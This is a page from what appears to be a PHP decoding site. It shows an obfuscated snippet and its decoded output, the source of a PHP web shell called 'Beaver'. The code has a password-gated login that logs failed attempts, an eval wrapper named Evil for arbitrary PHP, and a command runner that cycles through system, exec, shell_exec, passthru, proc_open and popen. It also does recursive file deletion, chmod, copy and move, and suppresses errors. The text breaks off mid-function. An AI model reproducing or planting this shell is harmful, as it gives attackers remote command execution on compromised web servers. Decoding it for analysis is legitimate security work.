Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $crkjy="ba"."se"."6"."4_d"."e"."cod"."e";$w="xnEsyTo9vJ==:f1cdcbe29be14fa3849ea5fee3..

Decoded Output download



/*
 * Self Script Encryptor v1.0
 * ------- by k4mpr3t -------
 *
 * [Usage] http://website.com/shell.php?x=self-encryptor&name=shell_encrypt.php
 *
 */

$config=array(
	"title"     => "Beaver",                 // Your Title
	"subtitle"  => "PHP Edition",        // Your Subtitle
	"themes"    => "D4RK",                        // Your Themes (D4RK or BR34K)
	"debug"     => false                           // Debug Mode
);

$account=explode(':',$w);

session_start();                                  // Session Start

function any($x,$y)
{
	return array_key_exists($x,$y);
}

function urle($x)
{
	return B64E(urlencode($x));
}

function urld($x)
{
	return urldecode(B64D(urldecode($x)));
}

define('_',DIRECTORY_SEPARATOR);

foreach($_SERVER as $k => $v)
{
	define(strtolower($k),$_SERVER[$k]);
}

function B64E($x)
{
	$d="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
	$c="ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/";
	$_a="b";$_b="a";$_c="s";$_d="e";$_e="6";$_f="4";
	$_g="_";$_h="e";$_i="n";$_j="c";$_k="o";$_l="d";$_m="e";
	$b64=$_a.$_b.$_c.$_d.$_e.$_f.$_g.$_h.$_i.$_j.$_k.$_l.$_m;
	return strtr($b64($x),$d,$c);
}

function B64D($x)
{
	$d="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
	$c="ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/";
	$_a="b";$_b="a";$_c="s";$_d="e";$_e="6";$_f="4";
	$_g="_";$_h="d";$_i="e";$_j="c";$_k="o";$_l="d";$_m="e";
	$b64=$_a.$_b.$_c.$_d.$_e.$_f.$_g.$_h.$_i.$_j.$_k.$_l.$_m;
	return $b64(strtr($x,$d,$c));
}

function error ($errno, $errstr, $errfile, $errline)
{
	switch ($errno)
	{
		case E_PARSE:
		case E_STRICT:$errmsg='# DEBUG';break;
		case E_NOTICE:
		case E_USER_NOTICE:$errmsg='# NOTICE';break;
		case E_USER_ERROR:
		case E_RECOVERABLE_ERROR:$errmsg='# ERROR';break;
		case E_WARNING:
		case E_CORE_WARNING:
		case E_COMPILE_WARNING:
		case E_USER_WARNING:$errmsg='# WARNING';break;
		case E_ERROR:
		case E_CORE_ERROR:
		case E_COMPILE_ERROR:$errmsg='# FATAL ERROR';break;
		default:$errmsg='# UNKNOWN ERROR';break;
	}
	echo '<div class="error">';
	echo $errmsg;
	echo "<br>";
	echo $errstr;
	echo "<br>";
	echo $errfile . ' (Line: ' . $errline . ')';
	echo "<br>";
	echo "<br>";
	echo "</div>";
}

// Login Request
if(request_method=="POST")
{
	if(any("username",$_REQUEST)&&any("password",$_REQUEST)&&any("signin",$_REQUEST))
	{
		if((B64E($_REQUEST['username'])==$account[0])&&(sha1(md5($_REQUEST['password']))==$account[1]))
		{
			session_regenerate_id();
			$_SESSION['action']=array(
				"username" => B64E($_REQUEST['username']),
				"password" => sha1(md5($_REQUEST['password']))
			);
		}
		else
		{
			// THIS IS FUCKING LOCAL DAMN LOG N00B! (https://github.com/k4mpr3t/b4tm4n/issues/5)
			$log=array(
				"Username: ".$_REQUEST['username'],
				"Password: ".$_REQUEST['password'],
				"Remote IP: ".remote_addr,
				"Time: ".date('Y-m-d H:i:s'),
				"-------------------------
",
			);
			$file=dirname(__FILE__)._.'.log';
			$write_log=implode($log,"
");
			$op=fopen($file,'a+');
			fwrite($op,$write_log);
			fclose($op);
		}
	}
}

if(!any("action",$_SESSION))
{
?><!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="robots" content="noindex"/>
<meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no">
<title>Beaver</title>
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<style type='text/css'>
	html,body{
	height:100%;
	}
	body{
	display:-ms-flexbox;
	display:-webkit-box;
	display:flex;
	-ms-flex-align:center;
	-ms-flex-pack:center;
	-webkit-box-align:center;
	align-items:center;
	-webkit-box-pack:center;
	justify-content:center;
	padding-top:40px;
	padding-bottom:40px;
	background-color:#f5f5f5;
	}
	.form-signin{
	width:100%;
	max-width:330px;
	padding:15px;
	margin:0 auto;
	}
	.form-signin.checkbox{
	font-weight:400;
	}
	.form-signin.form-control{
	position:relative;
	box-sizing:border-box;
	height:auto;
	padding:10px;
	font-size:16px;
	}
	.form-signin.form-control:focus{
	z-index:2;
	}
	.form-signin input[type="email"]{
	margin-bottom:-1px;
	border-bottom-right-radius:0;
	border-bottom-left-radius:0;
	}
	.form-signin input[type="password"]{
	margin-bottom:10px;
	border-top-left-radius:0;
	border-top-right-radius:0;
	}
</style>
</head>
<body class="text-center">
	<form class="form-signin" method='post'>
		<h1 class="h3 mb-3 font-weight-normal">Please sign in</h1>
		<label for="username" class="sr-only">Email address</label>
		<input type="text" name="username" id="username" class="form-control" placeholder="Username" autocomplete="off" required autofocus>
		<label for="password" class="sr-only">Password</label>
		<input type="password" name="password" id="password" class="form-control" placeholder="Password" autocomplete="off" required>
		<button class="btn btn-lg btn-primary btn-block" type="submit" name="signin" value="signin">Sign In</button>
		<p class="mt-5 mb-3 text-muted">&copy;<?=date('Y')?></p>
	</form>
</body>
</html><?php
}
else
{
ob_start(); // Prevent Double Html $_REQUEST

if(!strpos(strval(ini_get('disable_functions')),'set_time_limit'))
{
	set_time_limit(0);
}

// Debug Settings
if($config['debug']==true) 
{
	set_error_handler('error'); // Error Handler
	error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
}
else
{
	error_reporting(0);
	ini_set('error_log',null);
	ini_set('html_errors',0);
	ini_set('log_errors',0);
	ini_set('log_errors_max_len',0);
	ini_set('display_errors',0);
	ini_set('display_startup_errors',0);
}

ini_set('max_execution_time','600');
ini_set('memory_limit','256M');

$agent=B64D("FT06ACQoAXYrvHYXADU7ACR="); 
$title=$config['title'];                   // Title Page
$start=microtime(true);                    // Time Pageload

?><!DOCTYPE html>
<html>
<head>
<title>
<?=$title?>
</title>
<meta name='author' content='beaver'/>
<link href="data:image/png;base64,AAABAAEAEBACAAAAAACwAAAAFgAAACgAAAAQAAAAIAAAAAEAAQAAAAAAQAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//wAA//8AAP//AAD//wAA//8AAP7/AAD8fwAAwAcAAMAHAACMYwAADWEAAP//AAD//wAA//8AAP//AAD//wAA" rel="icon" type="image/x-icon" />
<style type="text/css">

	<?php if(strtolower($config['themes']) == 'd4rk'): ?>
	:root {
		--background-color:#000; 
		--color:#00ff00;
		--txt-color: #fff;
		--txt-hover-color: #fff;
		--border-color: #222;
		--border-hover-color: #333;
		--table-odd-color : #000;
		--table-even-color : #111;
		--table-hover-color : #222;
		--button-color : #111;
		--button-hover-color : #222;
	}
	<?php endif; ?>

	<?php if(strtolower($config['themes']) == 'br34k'): ?>
	:root {
		--background-color:#fff; 
		--color:#000;
		--txt-color: #000;
		--txt-hover-color: #666;
		--border-color: #111;
		--border-hover-color: #222;
		--table-odd-color : #eee;
		--table-even-color : #ddd;
		--table-hover-color : #ccc;
		--button-color : #ccc;
		--button-hover-color : #bbb;
	}
	<?php endif; ?>

	@keyframes blinker{70%{opacity:0}}
	*,html{margin:0;padding:0;line-height:1rem}
	body{background:var(--background-color);color:var(--color);font-family:monospace;font-size:13px}
	::-moz-selection{background:var(--color);color:var(--background-color)}
	::selection{background:var(--color);color:var(--background-color)}
	img{vertical-align:bottom}
	hr{border:1px solid var(--border-color);margin:3px 0px 0px}
	a{color:var(--color);text-decoration:none}
	a:hover{color:var(--txt-hover-color)}
	a.active{color:var(--txt-color)}
	a.action{font-size:12px;padding:5px;margin:0px;background:var(--button-color);color:var(--txt-color);border:1px solid #222;cursor:pointer;outline:none;display:inline-block}
	a.action:hover{background:var(--button-hover-color);border:1px solid var(--border-hover-color)}
	label{display:inline-block;min-width:75px;padding-right:15px}
	iframe{background:var(--txt-hover-color)}
	fieldset {border:1px solid var(--border-color);background:var(--background-color);color:var(--color);width:100%;padding:15px;box-sizing:border-box;min-height:154px}
	textarea {border:1px solid var(--border-color);background:var(--background-color);color:var(--color);width:100%;padding:15px;min-height:300px;outline:none;box-sizing:border-box;resize:none}
	input[type=submit]{background:var(--button-color);border:1px solid var(--border-color);color:var(--txt-color);line-height:25px;padding:0 10px;cursor:pointer;outline:none}
	input[type=submit]:hover{background:var(--button-hover-color);border:1px solid var(--border-hover-color)}
	input[type=text]{background:var(--background-color);line-height: 15px;color:var(--color);border:1px solid var(--border-color);width:200px;padding:5px;outline:none;box-sizing:border-box}
	input[type=number]{background:var(--background-color);line-height: 15px;color:var(--color);border:1px solid var(--border-color);width:200px;padding:5px;outline:none;box-sizing:border-box}
	input[type=file]{background:var(--background-color);line-height: 15px;color:var(--color);border:1px solid var(--border-color);width:200px;padding:2px;outline:none;box-sizing:border-box}
	select{background:var(--background-color);color:var(--color);border:1px solid var(--border-color);width:200px;padding:5px;outline:none;box-sizing:border-box}
	#wrapper{width:93%;margin:37px auto 40px}
	#info{margin:0 0 23px 0;padding:0 13px 0 0}
	#header{display:inline-block;width:100%}
	.header-left{float:left;width:66%}
	.header-right{float:right;width:34%}
	#connect{display:inline-block;width:100%}
	.connect-left{float:left;width:49%}
	.connect-right{float:right;width:49%}
	#database-session{display:inline-block;width:100%}
	.database-query{float:left;width:49%}
	.database-process{float:right;width:49%}
	#php{display:inline-block}
	.php-left{float:left;width:49%}
	.php-right{float:right;width:49%}
	.divide{width:100%;display:inline-block}
	.divide-left{float:left;width:50%}
	.divide-right{float:right;width:50%}
	.mail input[type=text]{width:100%;display:block}
	.database-breadcrumb{margin:10px 0 0;display:inline-block;font-style: italic;}
	#update{text-align:center}
	#php-configuration{text-align:center}
	.error{animation:blinker 1s linear infinite;background:var(--color);color:var(--background-color);padding:10px;margin:10px;}
	#logo{margin:0 0 23px 0;padding:23px 0 23px 0;border-top:1px solid var(--border-color);border-bottom:1px solid var(--border-color)}
	.content{border:1px solid var(--border-color);padding:10px;overflow:auto;overflow-y:hidden}
	#process-list{padding:25px;margin:25px auto 0px;border:1px solid var(--border-color);overflow:scroll;overflow-y:hidden}
	#process-list s{text-decoration:none}
	.tools-header{margin-bottom:20px;padding-bottom:25px;text-align:center;border-bottom:1px solid var(--border-color)}
	.menu{overflow:hidden;border-top:1px solid var(--border-color);border-bottom:1px solid var(--border-color);margin:10px 0}
	.menu > ul{list-style:none;margin:0;padding:0}
	.menu > ul > li{margin:0 3px 0 0;padding:10px 7px 10px 7px;display:block;float:left}
	.menu > ul > li:hover{cursor:pointer}
	.menu-tools{overflow:hidden;border-top:1px solid var(--border-color);border-bottom:1px solid var(--border-color);margin:10px 0}
	.menu-tools > ul{list-style:none;margin:0;padding:0}
	.menu-tools > ul > li{margin:0 3px 0 0;padding:10px 7px 10px 7px;display:block;float:left}
	.menu-tools > ul > li:hover{cursor:pointer}
	.menu-directory{;margin-bottom:10px}
	.new{margin-right:15px;}
	.hash label{min-width:40px;display:inline-block;padding-right:15px}
	.hash-capture label{margin:10px 0;display:inline-block}
	.hash input[type=radio]{margin-right:10px;display:inline-block;vertical-align:middle}
	.auto-number table{counter-reset:row_}
	.auto-number table tbody tr td:first-child{counter-increment:row_;vertical-align:middle;text-align:center}
	.auto-number table tbody tr td:first-child::before{content:counter(row_)}
	#title{text-align:center;font-size:44px;margin:0;color:var(--txt-color);margin-bottom:15px}
	#subtitle{text-align:center;font-size:22px;margin:0;color:var(--txt-color);margin-top:8px}
	#tools{min-height:125px;padding:10px;border-radius:5px}
	#account{min-height:100px;padding:10px;border-radius:5px}
	#thanks{text-align:center;font-size:16px;font-family:courier;padding:5% 0}
	#footer{margin:25px auto}
	#copyrights{text-align:center}
	#pageload{text-align:center}
	#query{margin-top:10px}
	#database-query{overflow:auto;margin:10px 0}
	#hexdump{height:300px;overflow:auto;overflow-x:hidden}
	#terminal{min-height:100px;padding:10px;border-radius:5px}
	#terminal-input{border:none}
	#curdir-terminal{min-width:10px}
	#database{min-height:100px;padding:10px;border-radius:5px}
	#database label{width:100px;padding:5px;margin-right:10px;display:inline-block}
	#port-scan label{width:100px;padding:5px;margin-right:10px;display:inline-block}
	#phpinfo table{margin:25px 0}
	#phpinfo tr:nth-child(odd){background:var(--background-color)}
	#phpinfo tr:nth-child(even){background:var(--border-color)}
	#phpinfo td,th{padding:5px;border:1px solid var(--border-color)}
	#phpinfo h1{margin:10px 0}
	#phpinfo h2{margin:10px 0}
	#phpinfo.e{width:200px}
	#phpinfo.v{word-break:break-word}
	#phpinfo img{display:none}
	#phpinfo hr{border:none}
	.line h2{position:relative;top:12px;width:100px;display:inline;background:var(--background-color);padding:0 10px;color:var(--txt-color)}
	.line{border-bottom:2px solid var(--color);text-align:center;width:287px;margin:auto}
	.table {width:100%;margin:10px 0}
	.table td,th{padding:5px;border:1px solid var(--border-color);max-width:250px;min-width:25px}
	.table td.kanan{word-break:break-word}
	.table td.kiri{width:30%}
	.table tr:nth-child(odd){background:var(--table-odd-color)}
	.table tr:nth-child(even){background:var(--table-even-color)}
	.table tr:hover td{background:var(--table-hover-color)}
	.table tfoot td{padding:10px;text-align:center}
	.database-table > td.table {word-break:normal;}
	.map-switch{display:inline-block}
	.form-fix{margin:-15px 0}
	.frmsource{margin-top:10px}
	.hexdump{width:100%;padding:5px;margin-bottom:5px}
	.hexdump td{text-align:left}
	.highlight{background:var(--background-color);word-break:break-word;padding:15px;margin-bottom:5px;height:300px;overflow:auto}
	.hash-capture{display:inline-block;width:100%}
	.hash-capture-left{float:left;width:49%}
	.hash-capture-right{float:right;width:49%}
	.clr{clear:both}
	.on{color:var(--txt-color)}
	.off{color:red}
	.result{padding:10px}
	.sortable thead{cursor:pointer}
	.disablefunc{overflow-wrap:break-word}
	.loading{vertical-align:middle;width:16px;height:16px;display:inline-block;background:url('data:image/gif;base64,R0lGODlhEAAQAPIAAAAAAP///zw8PLy8vP///5ycnHx8fGxsbCH+GkNyZWF0ZWQgd2l0aCBhamF4bG9hZC5pbmZvACH5BAAKAAAAIf8LTkVUU0NBUEUyLjADAQAAACwAAAAAEAAQAAADMwi63P4wyklrE2MIOggZnAdOmGYJRbExwroUmcG2LmDEwnHQLVsYOd2mBzkYDAdKa+dIAAAh+QQACgABACwAAAAAEAAQAAADNAi63P5OjCEgG4QMu7DmikRxQlFUYDEZIGBMRVsaqHwctXXf7WEYB4Ag1xjihkMZsiUkKhIAIfkEAAoAAgAsAAAAABAAEAAAAzYIujIjK8pByJDMlFYvBoVjHA70GU7xSUJhmKtwHPAKzLO9HMaoKwJZ7Rf8AYPDDzKpZBqfvwQAIfkEAAoAAwAsAAAAABAAEAAAAzMIumIlK8oyhpHsnFZfhYumCYUhDAQxRIdhHBGqRoKw0R8DYlJd8z0fMDgsGo/IpHI5TAAAIfkEAAoABAAsAAAAABAAEAAAAzIIunInK0rnZBTwGPNMgQwmdsNgXGJUlIWEuR5oWUIpz8pAEAMe6TwfwyYsGo/IpFKSAAAh+QQACgAFACwAAAAAEAAQAAADMwi6IMKQORfjdOe82p4wGccc4CEuQradylesojEMBgsUc2G7sDX3lQGBMLAJibufbSlKAAAh+QQACgAGACwAAAAAEAAQAAADMgi63P7wCRHZnFVdmgHu2nFwlWCI3WGc3TSWhUFGxTAUkGCbtgENBMJAEJsxgMLWzpEAACH5BAAKAAcALAAAAAAQABAAAAMyCLrc/jDKSatlQtScKdceCAjDII7HcQ4EMTCpyrCuUBjCYRgHVtqlAiB1YhiCnlsRkAAAOwAAAAAAAAAAAA==')}
</style>
<script type="text/javascript">
function dean_addEvent(t,e,r){if(t.addEventListener)t.addEventListener(e,r,!1);else{r.$$guid||(r.$$guid=dean_addEvent.guid++),t.events||(t.events={});var o=t.events[e];o||(o=t.events[e]={},t["on"+e]&&(o[0]=t["on"+e])),o[r.$$guid]=r,t["on"+e]=handleEvent}}function removeEvent(t,e,r){t.removeEventListener?t.removeEventListener(e,r,!1):t.events&&t.events[e]&&delete t.events[e][r.$$guid]}function handleEvent(t){var e=!0;t=t||fixEvent(((this.ownerDocument||this.document||this).parentWindow||window).event);var r=this.events[t.type];for(var o in r)this.$$handleEvent=r[o],!1===this.$$handleEvent(t)&&(e=!1);return e}function fixEvent(t){return t.preventDefault=fixEvent.preventDefault,t.stopPropagation=fixEvent.stopPropagation,t}var stIsIE=!1;if(sorttable={init:function(){arguments.callee.done||(arguments.callee.done=!0,_timer&&clearInterval(_timer),document.createElement&&document.getElementsByTagName&&(sorttable.DATE_RE=/^(\d\d?)[\/\.-](\d\d?)[\/\.-]((\d\d)?\d\d)$/,forEach(document.getElementsByTagName("table"),function(t){-1!=t.className.search(/sortable/)&&sorttable.makeSortable(t)})))},makeSortable:function(t){if(0==t.getElementsByTagName("thead").length&&(the=document.createElement("thead"),the.appendChild(t.rows[0]),t.insertBefore(the,t.firstChild)),null==t.tHead&&(t.tHead=t.getElementsByTagName("thead")[0]),1==t.tHead.rows.length){sortbottomrows=[];for(e=0;e<t.rows.length;e++)-1!=t.rows[e].className.search(/sortbottom/)&&(sortbottomrows[sortbottomrows.length]=t.rows[e]);if(sortbottomrows){null==t.tFoot&&(tfo=document.createElement("tfoot"),t.appendChild(tfo));for(e=0;e<sortbottomrows.length;e++)tfo.appendChild(sortbottomrows[e]);delete sortbottomrows}headrow=t.tHead.rows[0].cells;for(var e=0;e<headrow.length;e++)headrow[e].className.match(/sorttable_nosort/)||(mtch=headrow[e].className.match(/sorttable_([a-z0-9]+)/),mtch&&(override=mtch[1]),mtch&&"function"==typeof sorttable["sort_"+override]?headrow[e].sorttable_sortfunction=sorttable["sort_"+override]:headrow[e].sorttable_sortfunction=sorttable.guessType(t,e),headrow[e].sorttable_columnindex=e,headrow[e].sorttable_tbody=t.tBodies[0],dean_addEvent(headrow[e],"click",sorttable.innerSortFunction=function(t){if(-1!=this.className.search(/sorttable_sorted/))return sorttable.reverse(this.sorttable_tbody),this.className=this.className.replace("sorttable_sorted","sorttable_sorted_reverse"),this.removeChild(document.getElementById("sorttable_sortfwdind")),sortrevind=document.createElement("span"),sortrevind.id="sorttable_sortrevind",sortrevind.innerHTML=stIsIE?'&nbsp<font face="webdings">5</font>':"&nbsp;&#x25B4;",void this.appendChild(sortrevind);if(-1!=this.className.search(/sorttable_sorted_reverse/))return sorttable.reverse(this.sorttable_tbody),this.className=this.className.replace("sorttable_sorted_reverse","sorttable_sorted"),this.removeChild(document.getElementById("sorttable_sortrevind")),sortfwdind=document.createElement("span"),sortfwdind.id="sorttable_sortfwdind",sortfwdind.innerHTML=stIsIE?'&nbsp<font face="webdings">6</font>':"&nbsp;&#x25BE;",void this.appendChild(sortfwdind);theadrow=this.parentNode,forEach(theadrow.childNodes,function(t){1==t.nodeType&&(t.className=t.className.replace("sorttable_sorted_reverse",""),t.className=t.className.replace("sorttable_sorted",""))}),sortfwdind=document.getElementById("sorttable_sortfwdind"),sortfwdind&&sortfwdind.parentNode.removeChild(sortfwdind),sortrevind=document.getElementById("sorttable_sortrevind"),sortrevind&&sortrevind.parentNode.removeChild(sortrevind),this.className+=" sorttable_sorted",sortfwdind=document.createElement("span"),sortfwdind.id="sorttable_sortfwdind",sortfwdind.innerHTML=stIsIE?'&nbsp<font face="webdings">6</font>':"&nbsp;&#x25BE;",this.appendChild(sortfwdind),row_array=[],col=this.sorttable_columnindex,rows=this.sorttable_tbody.rows;for(e=0;e<rows.length;e++)row_array[row_array.length]=[sorttable.getInnerText(rows[e].cells[col]),rows[e]];row_array.sort(this.sorttable_sortfunction),tb=this.sorttable_tbody;for(var e=0;e<row_array.length;e++)tb.appendChild(row_array[e][1]);delete row_array}))}},guessType:function(t,e){sortfn=sorttable.sort_alpha;for(var r=0;r<t.tBodies[0].rows.length;r++)if(text=sorttable.getInnerText(t.tBodies[0].rows[r].cells[e]),""!=text){if(text.match(/^-?[&pound;$&curren;]?[\d,.]+%?$/))return sorttable.sort_numeric;if(possdate=text.match(sorttable.DATE_RE),possdate){if(first=parseInt(possdate[1]),second=parseInt(possdate[2]),first>12)return sorttable.sort_ddmm;if(second>12)return sorttable.sort_mmdd;sortfn=sorttable.sort_ddmm}}return sortfn},getInnerText:function(t){if(!t)return"";if(hasInputs="function"==typeof t.getElementsByTagName&&t.getElementsByTagName("input").length,null!=t.getAttribute("sorttable_customkey"))return t.getAttribute("sorttable_customkey");if(void 0!==t.textContent&&!hasInputs)return t.textContent.replace(/^\s+|\s+$/g,"");if(void 0!==t.innerText&&!hasInputs)return t.innerText.replace(/^\s+|\s+$/g,"");if(void 0!==t.text&&!hasInputs)return t.text.replace(/^\s+|\s+$/g,"");switch(t.nodeType){case 3:if("input"==t.nodeName.toLowerCase())return t.value.replace(/^\s+|\s+$/g,"");case 4:return t.nodeValue.replace(/^\s+|\s+$/g,"");case 1:case 11:for(var e="",r=0;r<t.childNodes.length;r++)e+=sorttable.getInnerText(t.childNodes[r]);return e.replace(/^\s+|\s+$/g,"");default:return""}},reverse:function(t){newrows=[];for(e=0;e<t.rows.length;e++)newrows[newrows.length]=t.rows[e];for(var e=newrows.length-1;e>=0;e--)t.appendChild(newrows[e]);delete newrows},sort_numeric:function(t,e){return aa=parseFloat(t[0].replace(/[^0-9.-]/g,"")),isNaN(aa)&&(aa=0),bb=parseFloat(e[0].replace(/[^0-9.-]/g,"")),isNaN(bb)&&(bb=0),aa-bb},sort_alpha:function(t,e){return t[0]==e[0]?0:t[0]<e[0]?-1:1},sort_ddmm:function(t,e){return mtch=t[0].match(sorttable.DATE_RE),y=mtch[3],m=mtch[2],d=mtch[1],1==m.length&&(m="0"+m),1==d.length&&(d="0"+d),dt1=y+m+d,mtch=e[0].match(sorttable.DATE_RE),y=mtch[3],m=mtch[2],d=mtch[1],1==m.length&&(m="0"+m),1==d.length&&(d="0"+d),dt2=y+m+d,dt1==dt2?0:dt1<dt2?-1:1},sort_mmdd:function(t,e){return mtch=t[0].match(sorttable.DATE_RE),y=mtch[3],d=mtch[2],m=mtch[1],1==m.length&&(m="0"+m),1==d.length&&(d="0"+d),dt1=y+m+d,mtch=e[0].match(sorttable.DATE_RE),y=mtch[3],d=mtch[2],m=mtch[1],1==m.length&&(m="0"+m),1==d.length&&(d="0"+d),dt2=y+m+d,dt1==dt2?0:dt1<dt2?-1:1},shaker_sort:function(t,e){for(var r=0,o=t.length-1,n=!0;n;){n=!1;for(s=r;s<o;++s)if(e(t[s],t[s+1])>0){a=t[s];t[s]=t[s+1],t[s+1]=a,n=!0}if(o--,!n)break;for(var s=o;s>r;--s)if(e(t[s],t[s-1])<0){var a=t[s];t[s]=t[s-1],t[s-1]=a,n=!0}r++}}},document.addEventListener&&document.addEventListener("DOMContentLoaded",sorttable.init,!1),/WebKit/i.test(navigator.userAgent))var _timer=setInterval(function(){/loaded|complete/.test(document.readyState)&&sorttable.init()},10);window.onload=sorttable.init,dean_addEvent.guid=1,fixEvent.preventDefault=function(){this.returnValue=!1},fixEvent.stopPropagation=function(){this.cancelBubble=!0},Array.forEach||(Array.forEach=function(t,e,r){for(var o=0;o<t.length;o++)e.call(r,t[o],o,t)}),Function.prototype.forEach=function(t,e,r){for(var o in t)void 0===this.prototype[o]&&e.call(r,t[o],o,t)},String.forEach=function(t,e,r){Array.forEach(t.split(""),function(o,n){e.call(r,o,n,t)})};var forEach=function(t,e,r){if(t){var o=Object;if(t instanceof Function)o=Function;else{if(t.forEach instanceof Function)return void t.forEach(e,r);"string"==typeof t?o=String:"number"==typeof t.length&&(o=Array)}o.forEach(t,e,r)}};
</script>
<script type="text/javascript">
	var xhr;
	window.onload=function(){
		getFocus("terminal-input");
		getFocus("find-action");
		getFocus("sourcefocus");
		getFocus("php-code");
	};
	function getFocus(id){
		if(document.getElementById(id)!==null){
		document.getElementById(id).focus();}
	}
	function getAjax(txt,id,method,url){
		var xmlhttp;
		var urlf="";
		var data=new FormData();
		var params=url.split("&");
		for(i=0;i<params.length;i++){
		val=params[i].split("=");
		if(val[0]=='text-encode'){
		data.append(val[0],val[1]);
		}else{if(val[0].indexOf('?')<0)
		{urlf+='&'+val[0]+'='+val[1];}}}
		if(window.XMLHttpRequest){xmlhttp=new XMLHttpRequest();
		}else{xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");}
		xmlhttp.onreadystatechange=function(){
		sts=["Request Not Initialized",
		"Server Connection Established",
		"Request Received",
		"Processing Request",
		"Request Finished"];
		if(xmlhttp.readyState==4&&xmlhttp.status==200){
		if(txt){document.getElementById(id).innerHTML=xmlhttp.responseText;
		}else{document.getElementById(id).value=xmlhttp.responseText;}
		}else{
		if(txt){document.getElementById(id).innerHTML=
		"[Status] "+"Please Wait... <div class='loading'></div><br>"+
		"[State] "+sts[xmlhttp.readyState]+"<br>"+
		"[Response] "+xmlhttp.response;
		}else{document.getElementById(id).value=
		"[Status] "+"Please Wait...
"+
		"[State] "+sts[xmlhttp.readyState]+"
"+
		"[Response] "+xmlhttp.response;}}
		};
		xmlhttp.open(method,window.location.href+urlf,true);
		xmlhttp.send(data);
		xhr=xmlhttp;
	}
	function ajaxAbort(txt,id){
		if(txt){document.getElementById(id).innerHTML="Canceled";
		}else{document.getElementById(id).value="Canceled";}
		xhr.abort();
	}
	function checkAll(){
		for(var i=0;i<document.getElementsByName('chk[]').length;i++){
		document.getElementsByName('chk[]')[i].checked=document.getElementsByName('check-all')[0].checked;}
	}
	function checkCount(id){
		count=1;
		for(var i=0;i<document.getElementsByName('chk[]').length;i++){
		if(document.getElementsByName('chk[]')[i].checked){
		document.getElementById(id).innerHTML=count++;
		}else{document.getElementById(id).innerHTML=count-1;}}
	}
	function mapSwitch(id,id2){
		var a=document.getElementById(id);
		var b=document.getElementById(id2);
		if(a.style.display=='inline-block'){
		a.style.display='none';
		b.style.display='inline-block';
		}else{a.style.display='inline-block';
		b.style.display='none';}
	}
	function getParameter(p) {
		var searchString=window.location.search.substring(1),
		i,val,params=searchString.split("&");
		for(i=0;i<params.length;i++){
		val=params[i].split("=");
		if(val[0]==p){
		return val[1];}}
		return null;
	}
</script>
</head>
<body>
<div id="wrapper"><?php

$cur=any("c",$_SESSION)?urld($_SESSION['c']):getcwd();
$dir=any("d",$_REQUEST)?urld($_REQUEST['d']):$cur;
$map=any("r",$_REQUEST)?dirname(urld($_REQUEST['r'])):$dir;

function Unix() 
{
	return(strtolower(substr(PHP_OS,0,3))!="win");
}

function Evil($x,$y=false)
{
	$c=$y==true?"?>".$x."<?php ":$x;
	$evil=eval($c);
	if(error_get_last())
	{
		print "
[Error] ";
		return print_r(error_get_last());
	}
	return $evil;
}

function Execute($x)
{
	$x=$x.' 2>&1';
	if(!is_null($backtic=`$x`))
	{
		return $backtic;
	}
	elseif(function_exists('system'))
	{
		ob_start();
		$system=system($x);
		$buff=ob_get_contents();
		ob_end_clean();
		return $buff;
	}
	elseif(function_exists('exec'))
	{
		$buff="";
		exec($x,$results);
		foreach($results as $result)
		{
			$buff.=$result;
		}
		return $buff;
	}
	elseif(function_exists('shell_exec'))
	{
		$buff=shell_exec($x);
		return $buff;
	}
	elseif(function_exists('pcntl_exec'))
	{
		$buff=pcntl_exec($x);
		return $buff;
	}
	elseif(function_exists('passthru'))
	{
		ob_start();		
		$passthru=passthru($x);
		$buff=ob_get_contents();
		ob_end_clean();	
		return $buff;
	}
	elseif(function_exists('proc_open'))
	{
		$proc=proc_open($x,array(
			array("pipe","r"),
			array("pipe","w"),
			array("pipe","w")
		),$pipes);
		$buff=stream_get_contents($pipes[1]);
		return $buff;
	}
	elseif(function_exists('popen'))
	{
		$buff="";
		$pop=popen($x,"r");
		while(!feof($pop))
		{
			$buff.=fread($pop,1024);
		}
		pclose($pop);
		return $buff;
	}
	return "R.I.P Command";
}

function Remove($x)
{
	if(is_dir($x))
	{
		if($h=@opendir($x))
		{
			while(false!==($f=readdir($h)))
			{
				if($f!="."&&$f!="..")
				{
					Remove($x._.$f);
				}
			}
			closedir($h);
		}
		return rmdir($x);
	}
	elseif(is_file($x))
	{
		return unlink($x);
	}
	return false;
}

function ChmodRecursive($x,$y)
{
	if(is_dir($x))
	{
		if($h=@opendir($x))
		{
			while(false!==($f=readdir($h)))
			{
				if($f!="."&&$f!="..")
				{
					ChmodRecursive($x._.$f);
				}
			}
			closedir($h);
		}
		return chmod($x,$y);
	}
	elseif(is_file($x))
	{
		return chmod($x,$y);
	}
	return false;
}

function CopyRecursive($x,$y)
{
	if(is_dir($x))
	{
		@mkdir($y);
		if($h=@opendir($x))
		{
			while(false!==($f=readdir($h)))
			{
				if($f!="."&&$f!="..")
				{
					CopyRecursive($x._.$f,$y._.$f);
				}
			}
			closedir($h);
		}
		return true;
	}
	elseif(is_file($x))
	{
		return copy($x,$y);
	}
	return false;
}

function MoveRecursive($x,$y)
{
	if(is_dir($x))
	{
		@mkdir($y);
		if($h=@opendir($x))
		{
			while(false!==($f=readdir($h)))
			{
				if($f!="."&&$f!="..")
				{
					MoveRecursive($x._.$f,$y._.$f);
				}
			}
			closedir($h);
		}
		return Remove($x);
	}
	elseif(is_file($x))
	{
		if(copy($x,$y))
		{
			return unlink($x);
		}
	}
	return false;
}

function GetDownloadUrl($x,$y)
{
	global $agent;
